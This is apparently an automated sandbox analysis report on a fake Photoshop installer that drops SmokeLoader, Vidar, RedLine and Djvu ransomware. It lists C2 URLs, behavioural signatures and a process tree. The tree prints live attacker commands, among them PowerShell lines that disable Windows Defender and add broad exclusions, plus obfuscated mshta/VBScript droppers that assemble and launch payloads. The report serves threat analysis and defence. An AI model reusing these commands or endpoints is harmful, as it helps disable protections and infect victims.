Analysis
-
max time kernel
180s -
max time network
439s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
23-10-2021 17:27
General
-
Target
Password_is_5432764372___Adobe-Photoshop.exe
-
Size
27.6MB
-
MD5
85fc603eb185b9ede6ce8b819554f7d8
-
SHA1
a90a7830852936c7dc89f39616e70a0e004fa664
-
SHA256
6318be892d092976958575601b5693dea00125d9c6f67df89a722fd4e7f8c1f6
-
SHA512
909e7404759153b44a6e8583709b4211dab000c5747b5f5f044b17c122f44ae1ec8880d1e4afb209ee2838bab0a22c91014203b7c11eb54cc61d03eeb141d3b4
Score
10/10
Malware Config
Extracted
Family
smokeloader
Version
2020
C2
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
rc4.i32
rc4.i32
Extracted
Family
vidar
Version
41.5
Botnet
933
C2
https://mas.to/@xeroxxx
Attributes
-
profile_id
933
Extracted
Family
djvu
C2
http://rlrz.org/lancer
Signatures
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 1 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 5 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Downloads MZ/PE file
-
Executes dropped EXE 35 IoCs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 31 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 26 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 4 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 27 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Kills process with taskkill 7 IoCs
-
Modifies Internet Explorer settings 1 TTPs 4 IoCs
-
Modifies registry class 39 IoCs
-
Modifies system certificate store 2 TTPs 15 IoCs
-
Runs regedit.exe 1 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 49 IoCs
-
Suspicious use of FindShellTrayWindow 4 IoCs
-
Suspicious use of SetWindowsHookEx 30 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___Adobe-Photoshop.exe"C:\Users\Admin\AppData\Local\Temp\Password_is_5432764372___Adobe-Photoshop.exe"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe" /autoruns3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /in="https://smartfix.pro/autoruns.exe" /out="C:\Windows\SmartFix\AutoRuns.exe" /name=AutoRuns4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/autoruns.exe" -O "C:\Windows\SmartFix\AutoRuns.exe"5⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SmartFix\Autoruns.exe"C:\Windows\SmartFix\Autoruns.exe"4⤵
- Executes dropped EXE
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\regedit.exeC:\Windows\regedit.exe5⤵
- Runs regedit.exe
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /select,c:\windows\system32\9wqovn.exe5⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\Desktop\setup_x86_x64_install.exe"C:\Users\Admin\Desktop\setup_x86_x64_install.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14f1396dfcf191bd.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14f1396dfcf191bd.exeSat14f1396dfcf191bd.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\7835361.exe"C:\Users\Admin\AppData\Roaming\7835361.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7835361.exe"C:\Users\Admin\AppData\Roaming\7835361.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\1727885.exe"C:\Users\Admin\AppData\Roaming\1727885.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1727885.exe"C:\Users\Admin\AppData\Roaming\1727885.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\8433279.exe"C:\Users\Admin\AppData\Roaming\8433279.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\3354500.exe"C:\Users\Admin\AppData\Roaming\3354500.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\7306170.exe"C:\Users\Admin\AppData\Roaming\7306170.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat142b09ae40c44cf.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exeSat142b09ae40c44cf.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: cLOsE (CreaTEobject ( "wscRiPT.sHELl" ). rUN ( "cmD.EXE /C TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe"" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY & If """" == """" for %f iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe"" ) do taskkill -iM ""%~NXf"" /f " , 0 , tRUe) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C TYPe "C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY & If "" == "" for %f iN ( "C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142b09ae40c44cf.exe" ) do taskkill -iM "%~NXf" /f7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Sat142b09ae40c44cf.exe" /f8⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXEJyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCriPT: CLOSe (CReAteoBject ( "wSCRiPt.SHeLL" ). Run ( "CmD.exE /Q /R EcHO Soy%TimE%jk> 1hsQZ.62D &ecHO | sEt /P = ""MZ"" >PajLCM.4 & CoPy /Y /b PAjlCM.4 + lKYqBUE.m + VUR_hcMP.3T + U9bIUq0J.~DW + I5glXU.Q + 9h1gI_nY.T + 1HSQZ.62D 2KSA.Gf7 & STaRT msiexec -y .\2KSA.GF7 " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R EcHO Soy%TimE%jk> 1hsQZ.62D &ecHO | sEt /P = "MZ" >PajLCM.4& CoPy /Y /b PAjlCM.4 + lKYqBUE.m + VUR_hcMP.3T + U9bIUq0J.~DW + I5glXU.Q + 9h1gI_nY.T + 1HSQZ.62D 2KSA.Gf7 & STaRT msiexec -y .\2KSA.GF710⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHO "11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>PajLCM.4"11⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -y .\2KSA.GF711⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14514904a4b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14514904a4b.exeSat14514904a4b.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14d32a38896785b13.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14d32a38896785b13.exeSat14d32a38896785b13.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"7⤵
-
C:\ProgramData\5150743.exe"C:\ProgramData\5150743.exe"8⤵
-
C:\ProgramData\3821336.exe"C:\ProgramData\3821336.exe"8⤵
-
C:\ProgramData\3821336.exe"C:\ProgramData\3821336.exe"9⤵
-
C:\ProgramData\7636020.exe"C:\ProgramData\7636020.exe"8⤵
-
C:\ProgramData\7636020.exe"C:\ProgramData\7636020.exe"9⤵
-
C:\ProgramData\8723154.exe"C:\ProgramData\8723154.exe"8⤵
-
C:\ProgramData\8723154.exe"C:\ProgramData\8723154.exe"9⤵
-
C:\ProgramData\4403308.exe"C:\ProgramData\4403308.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"7⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4876 -s 15288⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 6848⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8408⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8968⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 9048⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 8968⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2128 -s 10608⤵
- Drops file in Windows directory
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"9⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x218,0x21c,0x220,0x1dc,0x224,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=2204 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2624 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2652 /prefetch:110⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=1732 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3280 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1680 /prefetch:210⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3672 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3576 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=2056 /prefetch:810⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,18226703418104132611,17480422233812945915,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2588_394536810" --mojo-platform-channel-handle=3656 /prefetch:810⤵
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"7⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"8⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14febbc433.exe /mixone4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14febbc433.exeSat14febbc433.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6606⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6766⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 6966⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 7726⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 8846⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 11046⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 9526⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat142ac5249376e895.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat142ac5249376e895.exeSat142ac5249376e895.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1487ca754e680f91.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1487ca754e680f91.exeSat1487ca754e680f91.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
